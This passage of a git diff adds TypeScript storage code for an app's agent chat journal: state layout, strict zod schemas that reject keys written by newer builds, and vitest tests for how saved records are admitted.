state.lastActivityAt, + oldestSequence: state.oldestSequence, + highestFence: state.highestFence, + itemFences: [...state.itemFences], + itemExecutionOwners: [...state.itemExecutionOwners], + providerActivityAt: [...state.providerActivityAt], + tombstones: [...state.tombstones], + removedTurnIds: [...state.removedTurnIds], + submissions: [...state.submissions], + receipts: [...state.receipts], + aliases: [...state.aliases], + itemEchoes: [...state.itemEchoes].map(([key, value]) => + value === undefined ? [key] : [key, value] + ), + appliedSettlementIds: [...state.appliedSettlementIds], + derivedTurnScope: state.derivedTurnScope.snapshot(), + latestAcceptedTurnSequence: state.latestAcceptedTurnSequence, + queuePauseMarks: durableQueuePauseMarks(state.queuePauseMarks), + stoppedHistoryCarried: [...state.stoppedHistoryCarried], + queuedHandOffPlaces: [...state.queuedHandOffPlaces], + normalizedHandOffs: [...state.normalizedHandOffs], + queue: { revision: state.queue.revision, cards: [...state.queue.cards] }, + historyOrigin: state.historyOrigin + } satisfies Record, unknown> + return { + stateJson: JSON.stringify(stored), + items: [...state.items].map(([itemId, item], ordinal) => ({ + itemId, + itemJson: JSON.stringify(item), + ordinal + })) + } +} diff --git a/src/main/native-chat/agent-session-journal/journal-state-layout.ts b/src/main/native-chat/agent-session-journal/journal-state-layout.ts new file mode 100644 index 00000000000..2f589dfe4a1 --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-state-layout.ts @@ -0,0 +1,82 @@ +import type { JournalReducerState } from './journal-reducer' + +// Every reducer field has a storage home; queue splits its revision from its keyed cards. +export const journalStateLayout = { + sessionId: 'scalar', + epoch: 'scalar', + lastSequence: 'scalar', + lastActivityAt: 'scalar', + oldestSequence: 'scalar', + highestFence: 'scalar', + items: 'items', + itemFences: 'map', + itemExecutionOwners: 'map', + providerActivityAt: 'map', + tombstones: 'map', + removedTurnIds: 'set', + submissions: 'map', + receipts: 'map', + aliases: 'map', + itemEchoes: 'map', + appliedSettlementIds: 'set', + derivedTurnScope: 'scalar', + latestAcceptedTurnSequence: 'scalar', + queuePauseMarks: 'scalar', + stoppedHistoryCarried: 'map', + queuedHandOffPlaces: 'map', + normalizedHandOffs: 'set', + queue: 'queue', + historyOrigin: 'scalar' +} as const satisfies Record + +type ScalarKey = { + [K in keyof typeof journalStateLayout]: (typeof journalStateLayout)[K] extends 'scalar' | 'queue' + ? K + : never +}[keyof typeof journalStateLayout] + +type Collection = { path: string; entries: Iterable<[unknown, unknown]> } + +export function journalStateScalars(state: JournalReducerState): string { + const stop = state.queuePauseMarks.latestStop + return JSON.stringify({ + sessionId: state.sessionId, + epoch: state.epoch, + lastSequence: state.lastSequence, + lastActivityAt: state.lastActivityAt, + oldestSequence: state.oldestSequence, + highestFence: state.highestFence, + derivedTurnScope: state.derivedTurnScope.snapshot(), + latestAcceptedTurnSequence: state.latestAcceptedTurnSequence, + queuePauseMarks: { + ...state.queuePauseMarks, + latestStop: stop && { sequence: stop.sequence, event: stop.event } + }, + queue: { revision: state.queue.revision }, + historyOrigin: state.historyOrigin + } satisfies Record) +} + +export function journalStateCollections(state: JournalReducerState): Collection[] { + return Object.entries(state).flatMap(([path, value]) => { + if (value instanceof Map) { + return [{ path, entries: value }] + } + if (value instanceof Set) { + return [{ path, entries: value.entries() }] + } + if (path === 'queue') { + return [{ path: 'queue.cards', entries: state.queue.cards }] + } + return [] + }) +} + +/** Entry tuples preserve an undefined echo declaration without turning it into null. */ +export function journalEntryJson( + key: unknown, + value: unknown, + replacer?: (key: string, value: unknown) => unknown +): string { + return JSON.stringify(value === undefined ? [key] : [key, value], replacer) +} diff --git a/src/main/native-chat/agent-session-journal/journal-state-schema.ts b/src/main/native-chat/agent-session-journal/journal-state-schema.ts new file mode 100644 index 00000000000..426acf5973f --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-state-schema.ts @@ -0,0 +1,6 @@ +import type { z } from 'zod' +import type { JournalReducerState } from './journal-reducer' +import { outcomeFormat1Fields } from './journal-outcome-format-1' + +// Every reducer key needs an explicit stored representation in the format this build writes. +export const fields = outcomeFormat1Fields satisfies Record diff --git a/src/main/native-chat/agent-session-journal/journal-storage-admission.test.ts b/src/main/native-chat/agent-session-journal/journal-storage-admission.test.ts new file mode 100644 index 00000000000..b4b9512a66c --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-storage-admission.test.ts @@ -0,0 +1,277 @@ +import { readFileSync } from 'node:fs' +import { mkdtemp, rm } from 'node:fs/promises' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach, beforeEach, expect, it } from 'vitest' +import { z } from 'zod' +import { + AGENT_JOURNAL_THREAD_SCOPE, + type AgentJournalItemIdentity, + type AgentSessionJournalIdentity, + type AgentSessionJournalProviderHandle +} from '../../../shared/agent-session-journal-types' +import { codexProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' +import { + createTrackedJournalOpener, + insertTestJournalRowJson, + liveTestJournalRows, + openTestJournalHostDatabase, + publishTestJournalEpoch, + SAVED_BY_NEWER_ORCA, + updateTestJournalRowJson +} from './journal-host-database-test-support' +import { admitOutcomeFormat1 } from './journal-outcome-format-1' +import type { AgentSessionFailureFact } from '../../../shared/agent-session-failure' +import type { storedFailureFact, storedProviderHandle } from './journal-storage-schema' +import type { UndeclaredStorageKeys } from './journal-storage-strict' +import { restoreJournal } from './journal-open' +import type { JournalReducerState } from './journal-reducer' +import { + journalEntryJson, + journalStateCollections, + journalStateScalars +} from './journal-state-layout' +import { readStoredQueuedMessageRow } from './queued-message-stored-row' + +// Admission keeps the in-memory chat within what this build declares on every path a saved value +// takes into it, so restating that chat on a new epoch never drops a newer build's key. + +const IDENTITY: AgentSessionJournalIdentity = { + sessionId: 'session-1', + workspaceId: 'ws-1', + hostId: 'host-1', + agent: 'codex', + providerHandle: codexProviderHandle('thread-1') +} +const SCOPE = { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + +let root: string +let clock = 1_000 +const inputs = createTrackedJournalOpener({ legacyInputs: true }) +const journals = createTrackedJournalOpener() + +beforeEach(async () => { + root = await mkdtemp(join(tmpdir(), 'orca-journal-storage-admission-')) +}) +afterEach(async () => { + await inputs.closeAll() + await journals.closeAll() + await rm(root, { recursive: true, force: true }) +}) + +function open(opener: typeof journals) { + return opener.open({ + identity: IDENTITY, + stateDirectory: root, + now: () => (clock += 1), + mintEpoch: () => `epoch-${clock}` + }) +} + +function item(ordinal: number): AgentJournalItemIdentity { + return { provider: 'codex', threadId: 'thread-1', turnId: 'turn-1', ordinal } +} + +async function writeItems(opener: typeof journals, ordinals: number[]): Promise { + const journal = await open(opener) + for (const ordinal of ordinals) { + await journal.appendItem( + item(ordinal), + { kind: 'message', role: 'assistant', blocks: [{ type: 'text', text: `item ${ordinal}` }] }, + SCOPE + ) + } + await opener.closeAll() + return journal.epoch +} + +const db = () => openTestJournalHostDatabase(root).db + +/** Every saved byte of the chat database: a refusal writes none of it. */ +function savedBytes(): unknown { + const tables = db() + .prepare(`SELECT name FROM sqlite_master WHERE type = 'table' ORDER BY name`) + .all() + .map(({ name }) => String(name)) + return tables.map((table) => [table, db().prepare(`SELECT * FROM "${table}"`).all()]) +} + +/** Adds a key no build declares inside an item's first text block, as a newer build would. */ +function withLaterKey(json: string): string { + return json.replace('"type":"text",', '"type":"text","emphasis":"strong",') +} + +it("refuses a newer build's record with an undeclared nested key before adopting it, writes nothing, and starts no epoch", async () => { + await writeItems(journals, [0, 1, 2]) + const database = openTestJournalHostDatabase(root) + const source = db().prepare('SELECT generation, through_seq FROM journal_outcome_epochs').get() + const generation = Number(source?.generation) + const through = Number(source?.through_seq) + expect(restoreJournal(db(), IDENTITY.sessionId)).toMatchObject({ newer: null, damage: null }) + + // The newer build revises item 2 with a key this build does not declare. + const itemId = 'codex:thread-1:turn-1:2' + const latest = db() + .prepare(`SELECT value_json FROM journal_outcomes WHERE field = 'items' AND entry_key = ? + ORDER BY seq DESC LIMIT 1`) + .get(JSON.stringify(itemId)) + const revised = withLaterKey(String(latest?.value_json)) + const next = through + 1 + const ordinal = (index: number) => + `s${String(next).padStart(16, '0')}:${String(index).padStart(16, '0')}` + database.transaction((write) => { + const insert = write.prepare(`INSERT INTO journal_outcomes + (generation, seq, field, entry_key, format, ordinal, value_json, deleted) + VALUES (?, ?, ?, ?, 1, ?, ?, 0)`) + insert.run(generation, next, 'items', JSON.stringify(itemId), ordinal(0), revised) + write.prepare('UPDATE journal_outcome_epochs SET through_seq = ?').run(next) + }) + const before = savedBytes() + + expect(restoreJournal(db(), IDENTITY.sessionId)).toMatchObject({ newer: { sequence: 1 } }) + // No handle exists for a refused chat, so nothing can replace, roll over or rewind its epoch. + await expect(open(journals)).rejects.toMatchObject(SAVED_BY_NEWER_ORCA) + expect(savedBytes()).toEqual(before) +}) + +it.each([ + ['alone', []], + ['with outcome records after it', [2]] +])( + 'refuses a chat whose frozen input row holds an undeclared key before folding it, %s', + async (_name, later) => { + await writeItems(inputs, [0, 1]) + if (later.length > 0) { + await writeItems(journals, later) + expect(db().prepare('SELECT COUNT(*) AS n FROM journal_outcomes').get()?.n).not.toBe(0) + } + const row = liveTestJournalRows(db(), IDENTITY.sessionId).find((stored) => stored.seq === 2) + updateTestJournalRowJson(db(), IDENTITY.sessionId, 2, withLaterKey(row?.rowJson ?? '')) + const before = savedBytes() + await expect(open(journals)).rejects.toMatchObject(SAVED_BY_NEWER_ORCA) + expect(savedBytes()).toEqual(before) + } +) + +it('leaves a legacy queued card whose saved body holds an undeclared key on disk, never adopted', () => { + const body = { kind: 'message', role: 'user', blocks: [{ type: 'text', text: 'later' }] } + const row = (saved: unknown) => ({ + message_id: 'card-1', + position: 1, + body_json: JSON.stringify(saved), + fingerprint: 'f', + state: 'waiting', + hold_reason: null, + returned_reason: null, + returned_rejection: null, + consumed_as: null, + queued_epoch: 'epoch-1', + queued_sequence: 2, + options_json: '{"model":"m","later":"x"}' + }) + // Options keep their legacy meaning: a choice this build does not use is ignored. + expect(readStoredQueuedMessageRow(row(body))).toMatchObject({ messageId: 'card-1', body }) + expect(readStoredQueuedMessageRow(row(body))?.options).toEqual({ model: 'm' }) + const later = { ...body, blocks: [{ type: 'text', text: 'later', emphasis: 'strong' }] } + expect(readStoredQueuedMessageRow(row(later))).toBeNull() +}) + +// Input rows as builds before outcome records wrote them, checked in with the chat they fold into; +// rows 20-27 are v1.4.245's own writes. Every keyed collection holds data, so a reducer change that +// reads them differently fails here: version the prefix fold, never edit this. +const prefix = z + .object({ + sessionId: z.string(), + epoch: z.string(), + rows: z.array(z.string()), + expected: z.record(z.string(), z.unknown()) + }) + .parse( + JSON.parse( + readFileSync(new URL('./__fixtures__/journal-input-prefix.json', import.meta.url), 'utf8') + ) + ) + +function plain(state: JournalReducerState): unknown { + const fields: Record = { ...state } + return JSON.parse( + JSON.stringify({ + ...Object.fromEntries( + Object.entries(fields).map(([field, value]) => [ + field, + value instanceof Map || value instanceof Set ? [...value] : value + ]) + ), + derivedTurnScope: state.derivedTurnScope.snapshot(), + queue: { revision: state.queue.revision, cards: [...state.queue.cards] } + }) + ) +} + +it('folds the checked-in input rows into the same chat, every value of which storage declares', () => { + const database = openTestJournalHostDatabase(root) + database.transaction((write) => { + publishTestJournalEpoch(write, prefix.sessionId, prefix.epoch) + for (const [index, json] of prefix.rows.entries()) { + insertTestJournalRowJson(write, prefix.sessionId, index + 1, json, 1_001 + index) + } + }) + const loaded = restoreJournal(db(), prefix.sessionId) + expect(loaded).toMatchObject({ newer: null, damage: null }) + if (!loaded) { + throw new Error('missing prefix chat') + } + expect(plain(loaded.state)).toEqual(prefix.expected) + const collections = journalStateCollections(loaded.state) + expect(collections.filter(({ entries }) => [...entries].length === 0)).toEqual([]) + expect(collections.length).toBeGreaterThanOrEqual(15) + // What restating this chat on a new epoch would store, admitted as this build stores it. + const stored = [ + ...Object.entries(JSON.parse(journalStateScalars(loaded.state))).map(([key, value]) => ({ + field: '$', + key: JSON.stringify(key), + json: JSON.stringify(value) + })), + ...[...loaded.state.items].map(([key, value]) => ({ + field: 'items', + key: JSON.stringify(key), + json: JSON.stringify(value) + })), + ...journalStateCollections(loaded.state).flatMap(({ path, entries }) => + [...(path === 'items' ? [] : entries)].map(([key, value]) => ({ + field: path, + key: JSON.stringify(key), + json: journalEntryJson(key, value) + })) + ) + ] + expect(stored.length).toBeGreaterThan(20) + for (const value of stored) { + expect(admitOutcomeFormat1({ ...value, deleted: false })).toEqual({ + entryKey: JSON.parse(value.key), + kept: JSON.parse(value.json) + }) + } +}) + +function declared(): Undeclared | undefined { + return undefined +} + +it('compiles only when storage declares every key a persisted type holds, at any depth', () => { + type Stored = z.output + type Later = AgentSessionFailureFact & { retry?: { later?: number } } + expect(declared>()).toBeUndefined() + // @ts-expect-error `retry.later` is a key the stored failure fact does not declare + expect(declared>()).toBeUndefined() +}) + +it('reads an open string such as an agent type as a value, and still refuses a key beside it', () => { + type Stored = z.output + type Later = AgentSessionJournalProviderHandle & { host?: string } + expect( + declared>() + ).toBeUndefined() + // @ts-expect-error `host` is a key the stored provider handle does not declare + expect(declared>()).toBeUndefined() +}) diff --git a/src/main/native-chat/agent-session-journal/journal-storage-row-schema.ts b/src/main/native-chat/agent-session-journal/journal-storage-row-schema.ts new file mode 100644 index 00000000000..49c4ab4c9a5 --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-storage-row-schema.ts @@ -0,0 +1,143 @@ +import { z } from 'zod' +import { + AgentJournalProducerLinkageFields, + AgentJournalTurnScopeSchema +} from '../../../shared/agent-session-journal-schemas' +import type { JournalRow } from './journal-row-schema' +import { + storedFailureFact, + storedItemBody, + storedMessageBody, + storedProviderHandle +} from './journal-storage-schema' +import { + storageVerdict, + strictStorage, + type StorageDeclaresAll, + type UndeclaredStorageKeys +} from './journal-storage-strict' + +// Every key an input row may hold. Only builds before outcome records wrote input rows, so a key +// this build does not declare is refused before main's reader normalizes it away; values keep +// main's checks (scalars here are unchecked), and execution options keep their legacy meaning of +// ignoring keys this build does not use. + +const value = z.unknown().optional() +const envelope = { + v: value, + epoch: value, + seq: value, + fence: value, + ts: value, + recovered: value, + turnScope: AgentJournalTurnScopeSchema.optional(), + ...AgentJournalProducerLinkageFields +} +const provenance = { ownerFence: value, executionOwner: value, echoOf: value } +const legacyOptions = z.record(z.string(), z.unknown()).optional() + +const itemMutation = { + kind: z.literal('item'), + itemId: value, + revision: value, + body: storedItemBody, + turnScope: AgentJournalTurnScopeSchema.optional(), + observedAt: value, + ...provenance, + ...AgentJournalProducerLinkageFields +} +const tombstoneMutation = { kind: z.literal('tombstone'), itemId: value, revision: value } + +const queueChange = z.discriminatedUnion('op', [ + z.object({ + op: z.literal('queued'), + body: storedMessageBody, + position: value, + queuedAt: z.object({ epoch: value, sequence: value }).nullable(), + holdReason: value, + options: legacyOptions, + attempt: value, + returned: z.object({ reason: value, rejection: storedFailureFact.optional() }).optional() + }), + z.object({ op: z.literal('edited'), body: storedMessageBody }), + z.object({ op: z.literal('moved'), position: value }), + z.object({ op: z.literal('held'), holdReason: value }), + z.object({ op: z.literal('withdrawn') }) +]) + +const storedRow = z.discriminatedUnion('kind', [ + z.object({ + ...envelope, + kind: z.literal('epoch'), + reason: value, + providerHandle: storedProviderHandle, + historyOrigin: value + }), + z.object({ + ...envelope, + ...provenance, + kind: z.literal('item'), + itemId: value, + revision: value, + body: storedItemBody + }), + z.object({ + ...envelope, + kind: z.literal('tombstone'), + itemId: value, + revision: value, + stopEvent: z.object({ reason: value, turnId: value, at: value, caller: value }).optional(), + queueResume: value, + queueReopen: value, + queueReopenSince: value, + queueClear: z + .object({ operationId: value, messageIds: z.array(value), lifted: value }) + .optional(), + retireSubmission: value + }), + z.object({ + ...envelope, + kind: z.literal('submission'), + clientMessageId: value, + payloadFingerprint: value, + providerHandle: storedProviderHandle, + body: storedMessageBody, + handoverRecorded: value, + queuedMessageId: value, + origin: value, + source: z.object({ kind: value }).optional(), + options: legacyOptions + }), + z.object({ + ...envelope, + kind: z.literal('dispatch'), + clientMessageId: value, + state: value, + providerItemId: value, + reason: value, + carries: z.array(value).optional(), + rejection: storedFailureFact.optional(), + keptAsQueuedMessageId: value, + answeredInTurn: z.object({ turnItemId: value, via: value }).nullable().optional() + }), + z.object({ + ...envelope, + kind: z.literal('lifecycle-batch'), + settlementId: value, + mutations: z.array( + z.discriminatedUnion('kind', [z.object(itemMutation), z.object(tombstoneMutation)]) + ) + }), + z.object({ ...envelope, kind: z.literal('queue'), messageId: value, change: queueChange }) +]) +const strictRow = strictStorage(storedRow) + +/** True when an input row holds a key or union tag this build does not declare; main's reader + * judges every value. */ +export function journalRowDeclaresMore(row: unknown): boolean { + return storageVerdict(strictRow, row) === 'newer' +} + +export type JournalRowsAreDeclared = StorageDeclaresAll< + UndeclaredStorageKeys> +> diff --git a/src/main/native-chat/agent-session-journal/journal-storage-schema.ts b/src/main/native-chat/agent-session-journal/journal-storage-schema.ts new file mode 100644 index 00000000000..55e40bed92a --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-storage-schema.ts @@ -0,0 +1,180 @@ +import { z } from 'zod' +import { + AgentJournalKnownSchemas, + AgentJournalRenderItemSchema +} from '../../../shared/agent-session-journal-schemas' +import { AgentJournalSubmissionSchema } from '../../../shared/agent-session-journal-submission-schema' +import { AgentSessionFailureFactSchema } from '../../../shared/agent-session-failure-fact-schema' +import type { AgentSessionFailureFact } from '../../../shared/agent-session-failure' +import type { + AgentJournalRenderItem, + AgentJournalSubmission +} from '../../../shared/agent-session-journal-types' +import type { StorageDeclaresAll, UndeclaredStorageKeys } from './journal-storage-strict' + +// What saved outcomes declare beyond the wire's open schemas, which read only the keys their +// readers use: the shared definitions are reused and completed here. A persisted type gaining a key +// fails the checks at the end of this file until the key is declared; an added optional key needs +// no new format. Keys newly declared here are optional and loosely typed, since only their +// presence decides whether this build understands a value. + +const [ + textBlock, + toolCallBlock, + toolResultBlock, + imageRefBlock, + subagentGroupBlock, + subagentBlock, + backgroundTaskBlock +] = AgentJournalKnownSchemas.blocks +const [ + messageBody, + agentStartBody, + toolCallBody, + diffBody, + approvalBody, + questionBody, + statusBody, + turnBody +] = AgentJournalKnownSchemas.bodies + +const text = z.string().optional() +const count = z.number().optional() +const argumentProblem = z.object({ agent: z.string(), option: z.string(), problem: z.string() }) + +const refusalDetails = z.object({ + reason: text, + ownerVerdict: text, + rewindReason: text, + account: text, + argumentProblem: argumentProblem.optional(), + agent: text, + agentInstallation: z + .object({ agent: z.string(), installedVersion: z.string(), minimumVersion: z.string() }) + .optional(), + codexInstallation: z + .object({ installedVersion: z.string().nullable(), minimumVersion: z.string() }) + .optional(), + currentFence: count, + currentRevision: count, + resolution: AgentJournalKnownSchemas.resolution.optional(), + owner: z.object({ sessionId: z.string(), workspaceId: z.string() }).optional() +}) + +export const storedFailureFact = AgentSessionFailureFactSchema.extend({ + account: text, + refusal: z.object({ code: z.string().min(1), details: refusalDetails.optional() }).optional(), + attachment: z.object({ reason: z.string(), limit: count }).optional(), + retry: z + .object({ error: text, status: count, cause: text, attempt: count, maxRetries: count }) + .optional(), + usageLimit: z.object({ window: text, resetsAt: count }).optional(), + neverReachedAgent: z.literal(true).optional(), + backgroundStop: text, + requestTimeout: z.object({ method: z.string(), timeoutMs: z.number() }).optional() +}) + +// A sender's reader salvages any value of a known key, so only the keys are storage's to close. +const salvaged = z.unknown().optional() +const sender = z.object({ + party: z + .object({ address: salvaged, terminalHandle: salvaged, orcaSessionId: salvaged }) + .nullable() + .optional(), + name: salvaged, + relation: salvaged +}) +const orchestration = z.discriminatedUnion('message', [ + z.object({ + message: z.literal('mail-notice'), + mailbox: salvaged, + dispatchId: salvaged, + messages: z + .array(z.object({ messageId: salvaged, runId: salvaged, from: salvaged })) + .nullable() + .optional() + }), + z.object({ message: z.literal('task'), runId: salvaged, taskId: salvaged, dispatchId: salvaged }) +]) +const messageSource = z.object({ + kind: salvaged, + senders: z.array(sender.nullable()).nullable().optional(), + orchestration: orchestration.nullable().optional() +}) + +const block = z.discriminatedUnion('type', [ + textBlock.extend({ + contextClear: z + .object({ operationId: z.string(), afterFence: z.number(), clearedAt: z.number() }) + .optional(), + failure: storedFailureFact.optional(), + orcaStop: z.object({ cause: z.string(), turnItemId: text }).optional(), + usageLimitTurnItemId: text + }), + toolCallBlock.extend({ state: text, endedAs: text }), + toolResultBlock.extend({ + callId: text, + editPatch: z + .object({ + filePath: text, + hunks: z.array( + z.object({ + oldStart: z.number(), + oldLines: z.number(), + newStart: z.number(), + newLines: z.number(), + lines: z.array(z.string()) + }) + ) + }) + .optional(), + fullOutputItemId: text + }), + imageRefBlock, + subagentGroupBlock, + subagentBlock, + backgroundTaskBlock +]) + +export const storedMessageBody = messageBody.extend({ + blocks: z.array(block), + from: messageSource.nullable().optional() +}) + +export const storedItemBody = z.discriminatedUnion('kind', [ + storedMessageBody, + agentStartBody.extend({ worker: sender.nullable().optional() }), + toolCallBody, + diffBody, + approvalBody, + questionBody, + statusBody.extend({ + failure: storedFailureFact.optional(), + turnLifecycle: turnBody.omit({ kind: true }).optional() + }), + turnBody +]) + +export const storedProviderHandle = z.discriminatedUnion('kind', [ + z.object({ kind: z.literal('codex'), threadId: z.string() }), + z.object({ kind: z.literal('claude'), sessionId: z.string(), leafUuid: z.string().nullable() }), + z.object({ kind: z.literal('opaque'), agent: z.string(), value: z.string() }) +]) + +export const storedItem = AgentJournalRenderItemSchema.extend({ body: storedItemBody }) + +export const storedSubmission = AgentJournalSubmissionSchema.extend({ + rejection: storedFailureFact.optional(), + acceptedSequence: count, + origin: z.enum(['client', 'host']).optional() +}) + +export type StoredValuesAreDeclared = [ + StorageDeclaresAll>>, + StorageDeclaresAll< + UndeclaredStorageKeys> + >, + StorageDeclaresAll< + UndeclaredStorageKeys> + > +] diff --git a/src/main/native-chat/agent-session-journal/journal-storage-strict.ts b/src/main/native-chat/agent-session-journal/journal-storage-strict.ts new file mode 100644 index 00000000000..d01a2d594d9 --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-storage-strict.ts @@ -0,0 +1,131 @@ +import { z } from 'zod' +import { + isJournalOpenUnionFallback, + isJournalTag +} from '../../../shared/agent-session-journal-open-union' +import type { AgentJournalUnknownKind } from '../../../shared/agent-session-journal-types' + +// The wire reads a peer's or an older build's value openly. A saved value is different: a build +// that kept a key it does not declare would restate the value without it, so storage refuses the +// chat instead. Only key and union-tag sets are closed; string vocabularies keep the wire's +// fallbacks, and `z.unknown()` stays an opaque value carried whole. + +/** The strict form of a declared schema: objects refuse undeclared keys, open unions refuse + * unknown tags. Checks are kept; a schema kind storage cannot close fails at load. */ +export function strictStorage(schema: z.core.$ZodType): z.ZodType { + if (schema instanceof z.ZodObject) { + const shape = Object.fromEntries( + Object.entries(schema.shape).map(([key, value]) => [key, strictStorage(value)]) + ) + return schema.clone({ ...schema.def, shape, catchall: z.never() }) + } + if (schema instanceof z.ZodUnion) { + const options = schema.options.filter((option) => !isJournalOpenUnionFallback(option)) + const [known] = options + // An open union is its known arms and a fallback that kept the tags storage refuses. + return known && options.length === 1 && schema.options.length === 2 + ? strictStorage(known) + : schema.clone({ ...schema.def, options: options.map(strictStorage) }) + } + if (schema instanceof z.ZodOptional) { + return strictStorage(schema.unwrap()).optional() + } + if (schema instanceof z.ZodNullable) { + return strictStorage(schema.unwrap()).nullable() + } + if (schema instanceof z.ZodArray) { + return schema.clone({ ...schema.def, element: strictStorage(schema.element) }) + } + if (schema instanceof z.ZodTuple) { + const { items, rest } = schema.def + return schema.clone({ + ...schema.def, + items: items.map(strictStorage), + rest: rest && strictStorage(rest) + }) + } + if (schema instanceof z.ZodRecord) { + return schema.clone({ ...schema.def, valueType: strictStorage(schema.def.valueType) }) + } + if ( + schema instanceof z.ZodString || + schema instanceof z.ZodNumber || + schema instanceof z.ZodBoolean || + schema instanceof z.ZodLiteral || + schema instanceof z.ZodEnum || + schema instanceof z.ZodNull || + schema instanceof z.ZodUnknown + ) { + return schema + } + throw new Error(`saved journal storage cannot close a ${schema._zod.def.type} schema`) +} + +/** `newer` when the value holds a key or union tag this build does not declare; `damage` when it + * fails a type this build declares, a blank tag included. */ +export function storageVerdict(schema: z.ZodType, value: unknown): 'stored' | 'newer' | 'damage' { + const parsed = schema.safeParse(value) + if (parsed.success) { + return 'stored' + } + return parsed.error.issues.some((issue) => undeclared(issue, value)) ? 'newer' : 'damage' +} + +// A union's issues locate values relative to the union's own input. +function undeclared(issue: z.core.$ZodIssue, input: unknown): boolean { + if (issue.code === 'unrecognized_keys') { + return true + } + if (issue.code !== 'invalid_union') { + return false + } + const at = issue.path.reduce(child, input) + if (issue.discriminator !== undefined && issue.errors.length === 0) { + return isJournalTag(at) + } + return issue.errors.some((errors) => errors.some((inner) => undeclared(inner, at))) +} + +function child(value: unknown, key: PropertyKey): unknown { + return typeof value === 'object' && value !== null + ? Object.entries(value).find(([name]) => name === String(key))?.[1] + : undefined +} + +type Get = K extends keyof O ? O[K] : never +type At = A extends unknown ? Get : never +type TagKeys = Exclude< + { [K in keyof S]: S[K] extends string ? (string extends S[K] ? never : K) : never }[keyof S], + undefined +> +// The storage arm a value of type T is stored under: the one whose required literal tags it has. +type Arm = S extends object + ? { [K in TagKeys & keyof T]: Get } extends { [K in TagKeys & keyof T]: Get } + ? S + : never + : never +type Keys = A extends unknown ? keyof A : never +type ArmKeys = [A] extends [never] + ? 'a value no storage arm declares' + : + | Exclude> + | { [K in keyof T & Keys]: UndeclaredStorageKeys> }[keyof T & Keys] + +/** Keys of a persisted type, at any depth and in any union member, that its storage schema's + * output `S` leaves undeclared; `never` when it declares them all. An unknown-kind value never + * reaches storage: admission refuses it. A primitive holds no keys; it is settled before `object` + * because an open or branded string (`AgentType`'s `string & {}`) is assignable to `object`. */ +export type UndeclaredStorageKeys = T extends { readonly kind: AgentJournalUnknownKind } + ? never + : T extends string | number | boolean | bigint | symbol | null | undefined + ? never + : T extends readonly (infer E)[] + ? [Extract] extends [never] + ? 'an array storage does not declare' + : UndeclaredStorageKeys[number]> + : T extends object + ? ArmKeys> + : never + +/** Compiles only when every persisted key is declared. */ +export type StorageDeclaresAll = Undeclared diff --git a/src/main/native-chat/agent-session-journal/journal-store-collaborators.ts b/src/main/native-chat/agent-session-journal/journal-store-collaborators.ts index f43deaf9605..bbce643d73a 100644 --- a/src/main/native-chat/agent-session-journal/journal-store-collaborators.ts +++ b/src/main/native-chat/agent-session-journal/journal-store-collaborators.ts @@ -37,6 +37,7 @@ export type JournalStoreHost = { readOnly: () => boolean cursor: () => AgentJournalCursor adopt: (loaded: JournalLoad) => void + prepare: NonNullable[0]['prepare']> commit: (rows: readonly JournalRow[], savedAt: number) => void journal: () => AgentSessionJournal enqueue: JournalRowWriter['enqueue'] @@ -99,6 +100,7 @@ export function createJournalStoreCollaborators(host: JournalStoreHost): Journal readOnly: host.readOnly, highestFence: () => host.state().highestFence, nextSequence: () => host.state().lastSequence + 1, + prepare: host.prepare, commit: host.commit, streamedTextRevision: (row) => isJournalStreamedTextRevision(host.state(), row) }) diff --git a/src/main/native-chat/agent-session-journal/journal-store-contract-test-fixture.ts b/src/main/native-chat/agent-session-journal/journal-store-contract-test-fixture.ts new file mode 100644 index 00000000000..1eaa5c37879 --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-store-contract-test-fixture.ts @@ -0,0 +1,99 @@ +import { mkdtemp, rm } from 'node:fs/promises' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach, beforeEach } from 'vitest' +import type { + AgentJournalItemBody, + AgentJournalItemIdentity, + AgentSessionJournalIdentity +} from '../../../shared/agent-session-journal-types' +import type { openAgentSessionJournal } from './journal-store-factory' +import { + createTrackedJournalOpener, + openTestJournalHostDatabase +} from './journal-host-database-test-support' +import type Database from '../../sqlite/sync-database' +import { codexProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' + +export function createFixture() { + const IDENTITY: AgentSessionJournalIdentity = { + sessionId: 'session-1', + workspaceId: 'ws-1', + hostId: 'host-1', + agent: 'codex', + providerHandle: codexProviderHandle('thread-1') + } + + let root: string + + let clock = 1_000 + + function tick(): number { + clock += 1 + return clock + } + + function item(ordinal: number): AgentJournalItemIdentity { + return { provider: 'codex', threadId: 'thread-1', turnId: 'turn-1', ordinal } + } + + function body(value: string): AgentJournalItemBody { + return { kind: 'message', role: 'assistant', blocks: [{ type: 'text', text: value }] } + } + + const journals = createTrackedJournalOpener() + + async function open(overrides: Partial[0]> = {}) { + return journals.open({ + identity: IDENTITY, + stateDirectory: root, + now: tick, + mintEpoch: () => `epoch-${clock}`, + ...overrides + }) + } + + beforeEach(async () => { + root = await mkdtemp(join(tmpdir(), 'orca-journal-')) + clock = 1_000 + }) + + afterEach(async () => { + await journals.closeAll() + await rm(root, { recursive: true, force: true }) + }) + + async function withJournalDatabase( + stateDirectory: string, + run: (db: Database.Database) => void + ): Promise { + const opened = openTestJournalHostDatabase(stateDirectory) + try { + run(opened.db) + } finally { + await opened.close() + } + } + + return { + IDENTITY, + body, + get clock() { + return clock + }, + set clock(value: typeof clock) { + clock = value + }, + item, + journals, + open, + get root() { + return root + }, + set root(value: typeof root) { + root = value + }, + tick, + withJournalDatabase + } +} diff --git a/src/main/native-chat/agent-session-journal/journal-store-contracts.ts b/src/main/native-chat/agent-session-journal/journal-store-contracts.ts index dcc49ac670b..1c76b6217c5 100644 --- a/src/main/native-chat/agent-session-journal/journal-store-contracts.ts +++ b/src/main/native-chat/agent-session-journal/journal-store-contracts.ts @@ -16,7 +16,7 @@ import type { AgentSessionMessageSource } from '../../../shared/agent-session/ag import type { AgentSessionExecutionOptions } from '../../../shared/agent-session-execution-options' import type { JournalHostDatabase } from './journal-host-database' import type { 